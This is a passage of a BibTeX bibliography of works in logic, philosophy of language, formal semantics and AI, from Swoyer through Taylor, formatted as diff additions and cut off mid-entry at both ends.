Reasoning}, + journal = {Synthese}, + year = {1991}, + volume = {87}, + pages = {449--508}, + missinginfo = {number}, + topic = {diagrammatic-reasoning;} + } + +@article{ swoyer:1998a, + author = {Chris Swoyer}, + title = {Complex Predicates and Logics for Properties and + Relations}, + journal = {Journal of Philosophical Logic}, + year = {1998}, + volume = {27}, + number = {3}, + pages = {295--325}, + topic = {property-theory;} + } + +@article{ swoyer:2001a, + author = {Chris Swoyer}, + title = {Review of {\it The New Dialectic: Conversational Contexts + of Argument} and {\it Ad Hominem Arguments}, by {D}ouglas {W}alton}, + journal = {The Philosophical Review}, + year = {2001}, + volume = {110}, + number = {2}, + pages = {291--295}, + xref = {Review of: walton_d:1998a, walton_d:1998b.}, + topic = {informal-logic;fallacies;rhetoric;} + } + +@article{ sycara:1998a, + author = {Katia P. Sycara}, + title = {The Many Faces of Agents}, + journal = {The {AI} Magazine}, + year = {1998}, + volume = {19}, + number = {2}, + pages = {11--12}, + topic = {autonomous-agents;} + } + +@article{ sycara:1998b, + author = {Katia P. Sycara}, + title = {Multiagent Systems}, + journal = {The {AI} Magazine}, + year = {1998}, + volume = {19}, + number = {2}, + pages = {79--92}, + topic = {autonomous-agents;artificial-societies;} + } + +@incollection{ syerson:1994a, + author = {Pauf F. Syerson}, + title = {An Epistemic Logic of Situations}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fifth Conference ({TARK} 1994)}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Ronald Fagin}, + pages = {109--121}, + address = {San Francisco}, + contentnote = {This is a more or less situation-theoretic treatment.}, + topic = {epistemic-logic;hyperintensionality;} + } + +@incollection{ sylvan:1996a, + author = {Richard Sylvan}, + title = {Other Withered Stumps of Time}, + booktitle = {Logic and Reality: Essays on the Legacy of {A}rthur + {P}rior}, + publisher = {Oxford University Press}, + year = {1996}, + editor = {Jack Copeland}, + pages = {111--130}, + address = {Oxford}, + topic = {temporal-logic;} + } + +@book{ szabo_me:1969a, + editor = {M.E. Szabo}, + title = {The Collected Papers of {G}erhard {G}entzen}, + publisher = {North Holland}, + address = {Amsterdam}, + year = {1969}, + topic = {proof-theory;logic-classics;} + } + +@article{ szabo_zg:1997a, + author = {Zolt\'an Gendler Szab\'o}, + title = {Review of {\it Knowledge of Language}, by Richard Larson and + {G}abriel {S}egal}, + journal = {The Philosophical Review}, + year = {1997}, + volume = {106}, + number = {1}, + pages = {122--124}, + xref = {Review of larson_rl-segal:1995a.}, + topic = {nl-semantics;} + } + +@article{ szabo_zg:2000a, + author = {Zolt\'an Gendler Szab\'o}, + title = {Compositionality as Supervenience}, + journal = {Linguistics and Philosophy}, + year = {2000}, + volume = {23}, + number = {5}, + pages = {475--505}, + topic = {compositionality;nl-semantics;} + } + +@book{ szabolcsi:1997a, + editor = {Anna Szabolcsi}, + title = {Ways of Scope Taking}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + address = {Dordrecht}, + contentnote = {TC: + A. Szabolski, Background Notions in Lattice Theory and + Generalized Quantifiers + F. Beghelli and D. Ben-Shalom and A. Szabolski, Variation, + Distributivity, and the Illusion of Branching + F. Beghelli and T. Stowell, Distributivity and Negation: The + Syntax of Each and Every + A. Szabolski, Strategies for Scope Taking + E. Stabler, Computing Quantifier Scope + D. Farkas, Evaluation Indices and Scope + A. Szabolski and Frans Zwarts, Weak Islands and an Algebraic + Semantics for Scope Taking + J. Doetjes and M. Honcoop, The Semantics of Event-Based + Readings: A Case for Pair-Quantification + A. Szabolski, Quantifiers in Pair-List Readings + F. Beghelli, The Syntax of Distributivity and Pair-List Readings + J. Rexach, Questions and Generalized Quantifiers + } , + xref = {Review: mcnally:1999a.}, + topic = {nl-quantifier-scope;generalized-quantifiers;nl-semantics;} + } + +@incollection{ szabolcsi:1997b, + author = {Anna Szabolcsi}, + title = {Background Notions in Lattice Theory and Generalized Quantifiers}, + booktitle = {Ways of Scope Taking}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + editor = {Anna Szabolcsi}, + pages = {1--27}, + address = {Dordrecht}, + topic = {nl-quantifier-scope;nl-quantifiers;generalized-quantifiers;} + } + +@incollection{ szabolcsi-zwarts:1997a, + author = {Anna Szabolcsi and Frans Zwarts}, + title = {Weak Islands and an Algebraic Semantics for Scope Taking}, + booktitle = {Ways of Scope Taking}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + editor = {Anna Szabolcsi}, + pages = {217--262}, + address = {Dordrecht}, + topic = {nl-quantifier-scope;nl-quantifiers;} + } + +@incollection{ szabolski:1997c, + author = {Anna Szabolcsi}, + title = {Strategies for Scope Taking}, + booktitle = {Ways of Scope Taking}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + editor = {Anna Szabolcsi}, + pages = {109--154}, + address = {Dordrecht}, + topic = {nl-quantifier-scope;nl-quantifiers;} + } + +@incollection{ szabolski:1997d, + author = {Anna Szabolski}, + title = {Quantifiers in Pair-List Readings}, + booktitle = {Ways of Scope Taking}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + editor = {Anna Szabolcsi}, + pages = {311--347}, + address = {Dordrecht}, + topic = {nl-quantifier-scope;nl-quantifiers;interrogatives;} + } + +@incollection{ szczerba:1997a, + author = {Marek Szczerba}, + title = {Representation Theorems for Residuated Groupoids}, + booktitle = {{LACL}'96: First International Conference on + Logical Aspects of Computational Linguistics}, + publisher = {Springer-Verlag}, + year = {1997}, + editor = {Christian Retor/'e}, + pages = {426--434}, + address = {Berlin}, + topic = {logic-and-computational-linguistics;} + } + +@article{ szolovits-pauker:1978a, + author = {Peter Szolovits and Stephen G. Pauker}, + title = {Categorical and Probabilistic Reasoning in Medical + Diagnosis}, + journal = {Artificial Intelligence}, + year = {1978}, + volume = {11}, + number = {1--2}, + pages = {115--144}, + topic = {diagnosis;medical-AI;} + } + +@article{ szolovits-pauker:1993a, + author = {Peter Szolovits and Stephen G. Pauker}, + title = {Categorial and Probabilistic Reasoning in + Medicine Revisited}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {167--180}, + xref = {Retrospective commentary on szolovits-pauker:1978a.}, + topic = {diagnosis;medical-AI;} + } + +@inproceedings{ taboada:1997a, + author = {Maite Taboada}, + title = {Improving Translation through Contextual Information}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {510--515}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {machine-translation;context;} + } + +@incollection{ taboada:2002a, + author = {Maite Taboada}, + title = {Centering and Pronominal Reference: In Dialogue, in + {S}panish}, + booktitle = {{EDILOG} 2002: Proceedings of the Sixth Workshop on the + Semantics and Pragmatics of Dialogue}, + publisher = {Cognitive Science Centre, University of Edinburgh}, + year = {2002}, + editor = {Johan Bos and Mary Ellen Foster and Colin Mathesin}, + pages = {177--184}, + address = {Edinburgh}, + topic = {anaphora-resolution;centering;Spanish-language;} + } + +@article{ tadepalli-ok:1998a, + author = {Prasad Tadepalli and Do{K}eyong Ok}, + title = {Model-Based Average Reward Enforcement Learning}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {100}, + number = {1--2}, + pages = {177--224}, + topic = {machine-learning;bayesian-networks;} + } + +@article{ tait:1983a, + author = {William W. Tait}, + title = {Against Intuitionism: Constructive Mathematics is Part of + Classical Mathematics}, + journal = {Journal of Philosophical Logic}, + year = {1983}, + volume = {12}, + number = {2}, + pages = {173--195}, + topic = {philosophy-of-mathematics;intuitionistic-mathematics; + constructive-mathematics;} + } + +@book{ tait:1997a, + editor = {William W. Tait}, + title = {Early Analytic Philosophy: {F}rege, {R}ussell, {W}ittgenstein. + Essays In Honor of Leonard Linsky}, + publisher = {Open Court}, + year = {1997}, + address = {Chicago}, + ISBN = {0812693434 (cloth : alk. paper)}, + topic = {analytic-philosophy;} + } + +@article{ tait:1999a, + author = {William W. Tait}, + title = {Review of {\em The Logic of Provability}, + by {G}eorge {B}oolos}, + journal = {Journal of Philosophy}, + year = {1999}, + volume = {96}, + number = {1}, + pages = {50--54}, + topic = {modal-logic;provability-logic;goedels-second-theorem;} + } + +@article{ tajine-elizondo:1998a, + author = {M. Tajine and D. Elizondo}, + title = {Growing Methods for Constructing Recursive + Deterministic Perceptron Neural Networks and + Knowledge Extraction}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {102}, + number = {2}, + pages = {295--322}, + topic = {connectionist-models;} + } + +@inproceedings{ takenobu-etal:1995a, + author = {Tokunaga Takenobu and Iwayama Makoto and Tanaka Hozumi}, + title = {Automatic Thesaurus Construction Based on Grammatical + Relations}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {1308--1313}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {thesaurus-construction;} + } + +@incollection{ takenobu-etal:1997a, + author = {Tokunaga Takenobu and Fujii Atsushi and Iwauama Makoto and + Sakurai Naoyuki and Tanaka Hozumi}, + title = {Extending a Thesaurus by Classifying Words}, + booktitle = {Automatic Information Extraction and Building of + Lexical Semantic Resources for {NLP} Applications}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Piek Vossen and Geert Adriaens and Nicoletta Calzolari + and Antonio Sanfilippo and Yorick Wilks}, + pages = {16--21}, + address = {New Brunswick, New Jersey}, + topic = {thesaurus-construction;statistical-nlp;word-classification;} + } + +@inproceedings{ takeuti:1998a, + author = {Gaisi Takeuti}, + title = {Incompleteness Theorems and $S^i_2$ Versus $S^{i+1}_2$}, + booktitle = {Logic Colloquium '96: Proceedings of the COlloquium + Held in {S}an {S}ebasti\'an, {S}pain, {J}uly 9--15, 1996}, + year = {1998}, + editor = {J.M. Larrazabal and D. Lascar and G. Mints}, + pages = {247--261}, + publisher = {Springer-Verlag}, + address = {Berlin}, + xref = {Review: beckman_a:2002a}, + topic = {bounded-arithmetic;P=NP-problem;} + } + +@article{ takeuti:2000a, + author = {Gaisi Takeuti}, + title = {G\"odel Sentences of Unbounded Arithmetic}, + journal = {Journal of Symbolic Logic}, + year = {2000}, + volume = {65}, + pages = {1338--1346}, + xref = {Review: beckman_a:2002a}, + topic = {bounded-arithmetic;P=NP-problem;} + } + +@incollection{ talcutt:1991a, + author = {Carolyn Talcutt}, + title = {Binding Structures}, + booktitle = {Artificial Intelligence and Mathematical Theory of + Computation}, + publisher = {Academic Press}, + year = {1991}, + editor = {Vladimir Lifschitz}, + pages = {427--448}, + address = {San Diego}, + topic = {variable-binding;abstract-data-types;} + } + +@article{ talja:1980a, + author = {Jari Talja}, + title = {A Technical Note on {L}ars {L}indal's {\it Position and + Change}}, + journal = {Journal of Philosophical Logic}, + year = {1980}, + volume = {9}, + number = {2}, + pages = {167--183}, + topic = {logic-and-law;} + } + +@article{ talmadge:1997a, + author = {Catherine Talmadge}, + title = {Meaning and Triangulation}, + journal = {Linguistics and Philosophy}, + year = {1997}, + volume = {20}, + number = {2}, + pages = {139--145}, + contentnote = {Meaning and community.}, + topic = {philosophy-of-language;} + } + +@article{ talmadge:1997b, + author = {Catherine J.L. Talmadge}, + title = {Is There a Division of Linguistic Labour?}, + journal = {Philosophia}, + year = {1997}, + volume = {26}, + number = {3--4}, + pages = {421--434}, + topic = {philosophy-of-language;reference;} + } + +@incollection{ talmy:1976a, + author = {Leonard Talmy}, + title = {Semantic Causative Types}, + booktitle = {Syntax and Semantics, Volume 6. The Grammar of + Causative Constructions}, + publisher = {Academic Press}, + year = {1976}, + editor = {Masayoshi Shibatani}, + pages = {43--116}, + address = {New York}, + topic = {nl-causatives;} + } + +@incollection{ talmy:1983a, + author = {Leonard Talmy}, + title = {How Language Structures Space}, + booktitle = {Spatial Orientation: Theory, Research and Application}, + publisher = {Plenum Press}, + year = {1983}, + editor = {Herbert L. Pick, Jr. and Linda P. Acredolo}, + pages = {225--282}, + address = {New York}, + topic = {spatial-semantics;} + } + +@incollection{ talmy:1985a, + author = {Leonard Talmy}, + title = {Lexicalization Patterns: Semantic Structures in in Lexical Forms}, + booktitle = {Language Typology and Syntactic Description, Volume 3. + Grammatical Categories and the Lexicon}, + publisher = {Cambridge University Press}, + year = {1985}, + editor = {Timothy Shopen}, + pages = {57--149}, + address = {Cambridge, England}, + topic = {lexical-semantics;} + } + +@book{ talmy:2000a, + author = {Leonard Talmy}, + title = {Toward a Cognitive Semantics: Concept Structuring Systems}, + volume = {1}, + publisher = {The {MIT} Press}, + year = {2000}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-20120-8}, + xref = {Review: allen_k:2001a}, + topic = {cognitive-semantics;lexical-semantics;} + } + +@book{ talmy:2000b, + author = {Leonard Talmy}, + title = {Toward a Cognitive Semantics: Typology and Process in + Concept Structuring}, + volume = {2}, + publisher = {The {MIT} Press}, + year = {2000}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-20121-6}, + xref = {Review: allen_k:2001a}, + topic = {cognitive-semantics;lexical-semantics;} + } + +@article{ tambe-rosenbloom:1994a, + author = {Milind Tambe and Paul S. Rosenbloom}, + title = {Investigating Production system Representations for + Non-Combinatorial Match}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {68}, + number = {1}, + pages = {155--199}, + acontentnote = {Abstract: + Eliminating combinatorics from the match in production systems + (or rule-based systems) is important for expert systems, + real-time performance, machine learning (particularly with + respect to the utility issue), parallel implementations and + cognitive modeling. In [74], the unique-attribute + representation was introduced to eliminate combinatorics from + the match. However, in so doing, unique-attributes engender a + sufficiently negative set of trade-offs, so that investigating + whether there are alternative representations that yield better + trade-offs becomes of critical importance. + This article identifies two promising spaces of such + alternatives, and explores a number of the alternatives within + these spaces. The first space is generated from local syntactic + restrictions on working memory. Within this space, + unique-attributes is shown to be the best alternative possible. + The second space comes from restrictions on the search performed + during the match of individual productions (match-search). In + particular, this space is derived from the combination of a new, + more relaxed, match formulation (instantiationless match) and a + set of restrictions derived from the constraint-satisfaction + literature. Within this space, new alternatives are found that + outperform unique-attributes in some, but not yet all, domains.}, + topic = {rule-based-reasoning;expert-systems;} + } + +@incollection{ tambe:1996a, + author = {Milind Tambe}, + title = {Parallelism Matters}, + booktitle = {Mind Matters: A Tribute to {A}llen {N}ewell}, + publisher = {Lawrence Erlbaum Associates, Inc.}, + year = {1996}, + editor = {David M. Steier and Tom M. Mitchell}, + address = {Mahwah, New Jersey}, + pages = {213--217}, + topic = {computer-architectures;parallel-processing;} + } + +@inproceedings{ tambe:1998a, + author = {Milind Tambe}, + title = {Agent Architectures for Flexible, Practical Teamwork}, + booktitle = {Proceedings of the Fourteenth National Conference on + Artificial Intelligence and the Ninth Innovative + Applications of Artificial Intelligence Conference}, + year = {1996}, + editor = {Ted Senator and Bruce Buchanan}, + pages = {22--28}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {coordination;agent-architectures;} + } + +@article{ tambe-etal:1999a, + author = {Miland Tambe and Jafar Adabi and Yaser Al-Onaizan and Ali + Erden and Gal A. Kaminka and Stacy C. Marsella and Ion Muslea}, + title = {Building Agent Teams Using an Explicit Teamwork Model and + Learning}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {110}, + number = {2}, + pages = {215--239}, + topic = {multiagent-systems;multiagent-learning;RoboCup;} + } + +@article{ tambe-jung:1999a, + author = {Miland Tambe and Hyuckchul Jung}, + title = {The Benefits of Arguing in a Team}, + journal = {The {AI} Magazine}, + year = {1999}, + volume = {20}, + number = {4}, + pages = {85--92}, + topic = {negotiation;coordination;} + } + +@article{ tambe-etal:2000a, + author = {Miland Tambe and Taylor Raines and Stacy Marsella}, + title = {Agent Assistants for Team Analysis}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {21}, + number = {3}, + pages = {27--31}, + topic = {RoboCup;robotics;} + } + +@article{ tammet:1994a, + author = {Tanel Tammet}, + title = {Proof Strategies in Linear Logic}, + journal = {Journal of Automated Reasoning}, + year = {1994}, + volume = {12}, + pages = {273--304}, + topic = {theorem-proving;linear-logic;} + } + +@incollection{ tan_sw-pearl:1994a, + author = {Sek-Wah Tan and Judea Pearl}, + title = {Specification and Evaluation of Preferences Under Uncertainty}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {530--539}, + address = {San Francisco, California}, + topic = {kr;preferences;qualitative-utility;kr-course;} + } + +@inproceedings{ tan_sw-pearl:1994b, + author = {Sekwah Tan and Judea Pearl}, + title = {Qualitative Decision Theory}, + booktitle = {Proceedings of the Twelfth National Conference on + Artificial Intelligence}, + year = {1994}, + editor = {Barbara Hayes-Roth and Richard Korf}, + pages = {928--933}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {qualitative-utility;} + } + +@incollection{ tan_sw-pearl:1994c, + author = {Sekwah Tan and Judea Pearl}, + title = {Specification and Evaluation of Preferences Under + Uncertainty}, + booktitle = {{KR}'94: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {530--539}, + address = {San Francisco, California}, + topic = {qualitative-utility;preferences;} + } + +@inproceedings{ tan_sw-pearl:1995a, + author = {Sek-Wah Tan and Judea Pearl}, + title = {Specificity and Inheritance in Default Reasoning}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {1480--1486}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {inheritance-theory;specificity;probability-semantics;} + } + +@inproceedings{ tan_t-werlang:1988a, + author = {Tommy Tan and Sergio R.D.C. Werlang}, + title = {A Guide to Knowledge and Games}, + booktitle = {Proceedings of the Second Conference on Theoretical + Aspects of Reasoning about Knowledge}, + year = {1988}, + editor = {Moshe Y. Vardi}, + pages = {163--177}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {epistemic-logic;game-theory;} + } + +@incollection{ tan_yh-vandertorre:1996a, + author = {Yaohua Tan and Leendert W.N. {van der Torre}}, + title = {How to Combine Ordering and Minimizing in a Deontic + Logic Based on Preferences}, + booktitle = {Deontic Logic, Agency and Normative Systems: + $\Delta${EON}'96, Third International Workshop on Deontic + Logic in Computer Science, Sesimbra, Portugal, 11--13 January + 1996}, + publisher = {Springer-Verlag}, + year = {1996}, + editor = {Mark A. Brown and Jos\'e Carmo}, + pages = {216--232}, + address = {Berlin}, + topic = {deontic-logic;preferences;} + } + +@incollection{ tanaka_k1:1998a, + author = {Keiko Tanaka}, + title = {The {J}apanese Adverbial {\it yahiri} or {\it yappari}}, + booktitle = {Relevance Theory: Applications and Implications}, + publisher = {John Benjamins Publishing Co.}, + year = {1998}, + editor = {Robyn Carston and Seiji Uchida}, + pages = {23--46}, + address = {Amsterdam}, + topic = {relevance-theory;Japanese-language;} + } + +@article{ tanaka_k2:2001a, + author = {Koji Tanaka}, + title = {Review of {\it Reasoning with Logic Programming}, by + {J}os\'e {J}ulio {A}lferes and {L}u\'is {M}oniz {P}ereira}, + journal = {Studia Logica}, + year = {2001}, + volume = {67}, + number = {1}, + pages = {118--120}, + xref = {Review of alferes-pereira_lm:1996a.}, + topic = {logic-programming;} + } + +@article{ tanaka_k2:2001b, + author = {Koji Tanaka}, + title = {Review of {\it Mental Logic}, by {M}artin {D}.{S}. {B}raine and + {D}avid {P}. {O}'{B}rian}, + journal = {Studia Logica}, + year = {2001}, + volume = {68}, + number = {2}, + pages = {299--300}, + xref = {Review of: braine-obrian:1998a.}, + topic = {logic-and-cognition;} + } + +@article{ tanakaishii-etal:2000a, + author = {Kumiko Tanaka-Ishii and Ian Frank and Katsuto Arai}, + title = {Trying to Understand RoboCup}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {21}, + number = {3}, + pages = {19--24}, + topic = {robotics;RoboCup;} + } + +@inproceedings{ tanenhaus-etal:1996a, + author = {Michael K. Tanenhaus and Michael J. Spivey-Knowlton and + Kathleen M Eberhard and Julie C. Sedivy and Paul D. Allopenna + and James S. Magnuson}, + title = {Using Eye Movements to Study Spoken Language + Comprehension: Evidence for Incremental Interpretation}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {48--54}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {parsing-psychology;nl-comprehension-psychology;} + } + +@article{ tannsjo:1989a, + author = {Torbj{\"o}rn T{\"a}nnsj{\"o}}, + title = {The Morality of Collective Actions}, + journal = {The Philosophical Quarterly}, + year = {1989}, + volume = {39}, + pages = {221--228}, + topic = {group-action;} + } + +@book{ tanz:1980a, + author = {Christine Tanz}, + title = {Studies in the Acquisition of Deictic Terms}, + publisher = {Cambridge University Press}, + year = {1980}, + address = {Cambridge, England}, + topic = {deixis;L1-acquisition;pragmatics;} + } + +@article{ tappenden:1990a, + author = {Jamie Tappenden}, + title = {Review of `Truth, Vagueness, and Paradox', by + {V}ann {M}c{G}ee}, + journal = {The Philosophical Review}, + year = {1990}, + volume = {103}, + number = {1}, + pages = {142--144}, + topic = {vagueness;truth;semantic-paradoxes;} + } + +@article{ tappenden:1993a, + author = {Jamie Tappenden}, + title = {The Liar and Sorites Paradoxes: Towards a Unified Account}, + journal = {Journal of Philosophy}, + year = {1993}, + volume = {90}, + number = {11}, + pages = {551--577}, + topic = {semantic-paradoxes;vagueness;sorites-paradox;} + } + +@article{ tappenden:1993b, + author = {Jamie Tappenden}, + title = {Analytic Truth---It's Worse (or Perhaps Better) than + You Thought}, + journal = {Philosophical Topics}, + year = {1993}, + volume = {21}, + number = {2}, + pages = {223--261}, + topic = {analyticity;} + } + +@article{ tappenden:1995a, + author = {Jamie Tappenden}, + title = {Extending Knowledge and `Fruitful Concepts': Fregean Themes + in the Philosophy of Mathematics}, + journal = {No\^us}, + year = {1995}, + volume = {29}, + number = {4}, + pages = {427--467}, + topic = {Frege;philosophy-of-mathematics;definitions;} + } + +@article{ tappenden:1995b, + author = {Jamie Tappenden}, + title = {Geometry and Generality in {F}rege's Philosophy of + Arithmetic}, + journal = {Synth\'ese}, + year = {1995}, + volume = {102}, + pages = {319--361}, + topic = {Frege;philosophy-of-mathematics;} + } + +@unpublished{ tappenden:1996a, + author = {Jamie Tappenden}, + title = {Negation, Denial and Language Change in Philosophical Logic}, + year = {1996}, + note = {Unpublished manuscript, Philosophy Department, University + of Pittsbugh. Forthcoming in What is Negation, Dov Gabbay, ed., + Kluwer.}, + topic = {negation;semantic-paradoxes;truth-value-gaps;} + } + +@article{ tappenden:2001a, + author = {Jamie Tappenden}, + title = {Recent Work in the Philosophy of Mathematics}, + journal = {The Journal of Philosophy}, + year = {2001}, + volume = {98}, + number = {9}, + note = {Review of {\it Naturalism in Mathematics}, by {P}enelope + {M}addy, {\it Philosophy of Mathematics: Structure and + Ontology}, by {S}tewart {S}hapiro, and {\it Mathematics as a + Science of Patterns}, by {M}ichael {R}esnik.}, + pages = {488--497}, + xref = {Review of: maddy:1997a, shapiro_s1:1997a, resnik:1997a.}, + topic = {philosophy-of-mathematics;} + } + +@article{ tappert-dixon_nr:1974a, + author = {C.C. Tappert and N.R. Dixon}, + title = {A Procedure for Adaptive Control of the + Interaction between Acoustic Classification and Linguistic + Decoding in Automatic Recognition of Continuous Speech}, + journal = {Artificial Intelligence}, + year = {1974}, + volume = {5}, + number = {2}, + pages = {95--113}, + topic = {speech-recognition;} + } + +@incollection{ tarau-dahl_v:1994a, + author = {Paul Tarau and Veronica Dahl}, + title = {Logic Programming and Logic + Grammars with First-Order Continuations}, + booktitle = {Logic Programming Synthesis and Transformation, + Meta-Programming in Logic: Fourth International Workshops, + {LOBSTR}'94 and {META}'94, Pisa, Italy}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Laurent Fribourg and Franco Turini}, + pages = {215--230}, + address = {Berlin}, + topic = {logic-program-synthesis;} + } + +@article{ tarski:1936a, + author = {Alfred Tarski}, + title = {Der {W}ahrheitsbegriff {i}n {d}en {f}ormalizierten {S}prachen}, + journal = {Studia Philosophica}, + year = {1936}, + volume = {1}, + pages = {261--405}, + topic = {foundations-of-semantics;truth;logic-classic;semantic-paradoxes;} + } + +@article{ tarski:1939a, + author = {Alfred Tarski}, + title = {On Undecidable Statements in Enlarged Systems of Logic + and the Concept of Truth}, + journal = {Journal of Symbolic Logic}, + year = {1939}, + volume = {4}, + number = {3}, + pages = {105--112}, + topic = {truth;(in)completeness;} + } + +@book{ tarski-etal:1953a, + author = {Alfred Tarski and A. Mostowski and Raphael Robinson}, + title = {Undecidable Theories}, + publisher = {North-Holland}, + year = {1953}, + address = {Amsterdam}, + topic = {undecidability;} + } + +@article{ tarski:1955a, + author = {Alfred Tarski}, + title = {A Lattice-Theoretic Fixpoint Theorem and Its Applications}, + journal = {Pacific Journal of Mathematics}, + year = {1955}, + volume = {5}, + number = {2}, + pages = {285--309}, + topic = {lattice-theory;fixpoints;} + } + +@book{ tarski:1956a, + author = {Alfred Tarski}, + title = {Logic, Semantics, Metamathematics}, + publisher = {Oxford University Press}, + year = {1956}, + address = {Oxford}, + note = {translated by J.H. Woodger}, + topic = {logic-classics;} + } + +@article{ tarski-givant:1999a, + author = {Alfred Tarski and Steven Givant}, + title = {Tarski's System of Geometry}, + journal = {The Bulletin of Symbolic Logic}, + year = {1998}, + volume = {5}, + number = {2}, + pages = {175--214}, + note = {A letter written originally ca. 1978.}, + topic = {formalizations-of-geometry;} + } + +@article{ taschek:1993a, + author = {William W. Taschek}, + title = {Review of {\it Unreality: The Metaphysics + of Fictional Objects}, by {C}harles {C}rittenden}, + journal = {The Philosophical Review}, + year = {1993}, + volume = {102}, + number = {4}, + pages = {608--611}, + xref = {Review of: crittenden:1991a}, + topic = {fiction;logic-of-existence;} + } + +@article{ taschek:1998a, + author = {William W. Taschek}, + title = {On Ascribing Beliefs: Content in Context}, + journal = {The Journal of Philosophy}, + year = {1998}, + volume = {95}, + number = {7}, + pages = {323--353}, + topic = {context;pragmatics;Pierre-puzzle;} + } + +@book{ tauber-ackermann_d:1991a, + editor = {M.J. Tauber and D. Ackermann}, + title = {Mental Models and Human-Computer Interaction 2}, + publisher = {North-Holland Publishing Co.}, + year = {1991}, + address = {Amsterdam}, + ISBN = {0444886028}, + topic = {HCI;} + } + +@incollection{ taylor_b:1976a, + author = {Barry Taylor}, + title = {States of Affairs}, + booktitle = {Truth and Meaning: Essays in Semantics}, + publisher = {Oxford University Press}, + year = {1976}, + editor = {Gareth Evans and John Mc{D}owell}, + pages = {263--284}, + address = {Oxford}, + topic = {propositions;philosophical-ontology;} + } + +@article{ taylor_b:1977a, + author = {Barry Taylor}, + title = {Tense and Continuity}, + journal = {Linguistics and Philosophy}, + year = {1977}, + volume = {1}, + number = {2}, + pages = {199--220}, + topic = {nl-semantics;tense-aspect;aktionsarten;} + } + +@incollection{ taylor_ccw:1986a, + author = {C.C.W. Taylor}, + title = {Emotions and Wants}, + booktitle = {The Ways of Desire: New Essays in Philosophical + Psychology on the Concept of Wanting}, + publisher = {Precedent Publishing, Inc.}, + year = {1986}, + editor = {Joel Marks}, + pages = {217--231}, + address = {Chicago}, + topic = {emotions;desires;philosophical-psychology;} + } + +@phdthesis{ taylor_cn:1992a, + author = {C.N. Taylor}, + title = {A Formal Logical Analysis of Causal Relations}, + school = {Sussex University}, + year = {1992}, + type = {D.Phil Thesis.}, + address = {Brighton}, + missinginfo = {A's 1st name}, + note = {Also available as Sussex University Cognitive Science Research + Paper No.~257.}, + topic = {causality;} + } + +@book{ taylor_d-armstrong_d:1998a, + author = {Dave Taylor and James C. Armstrong}, + title = {Teach Yourself {UNIX} in 24 Hours}, + publisher = {Sams}, + year = {1998}, + address = {Indianapolis}, + ISBN = {067231480-0}, + topic = {operating-system-manual;UNIX;} + } + +@article{ taylor_ka:1988a, + author = {Kenneth A. Taylor}, + title = {We've Got You Coming and Going}, + journal = {Linguistics and Philosophy}, + year = {1988}, + volume = {11}, + number = {4}, + pages = {493--513}, + topic = {indexicals;deixis;pragmatics;} + } + +@book{ taylor_kj:1998a, + editor = {Kenneth A. Taylor}, + title = {Truth and Meaning: An Introduction to the Philosophy of + Language}, + publisher = {Blackwell Publishers}, + year = {1998}, + address = {Oxford}, + topic = {philosophy-of-language;} + } + +@book{ taylor_m:1987a, + author = {Michael Taylor}, + title = {The Possibility of Cooperation}, + publisher = {Cambridge University Press}, + year = {1987}, + address = {Cambridge, England}, + ISBN = {0521327938}, + topic = {cooperation;political-science;} + } + +@book{ taylor_mm-etal:1989a, + editor = {Michael M. Taylor and F. N\'eel and and Don G. Bouwhuis}, + title = {The Structure of Multimodal Dialogue, Volume 1}, + publisher = {North-Holland Publishing Co.}, + year = {1989}, + address = {Amsterdam}, + ISBN = {0444874216}, + topic = {multimodal-communication;computational-dialogue;} + } + +@book{ taylor_mm-etal:2000a, + editor = {Michael M. Taylor and F. N\'eel and and Don G. Bouwhuis}, + title = {The Structure of Multimodal Dialogue, Volume 2}, + publisher = {John Benjamins}, + year = {2000}, + address = {Amsterdam}, + ISBN = {1556197624 (US, Hb)}, + topic = {multimodal-communication;computational-dialogue;} + } + +@article{ taylor_r:1957a, + author = {Richard Taylor}, + title = {The Problem of Future Contingency}, + journal = {Philosophical Review}, + year = 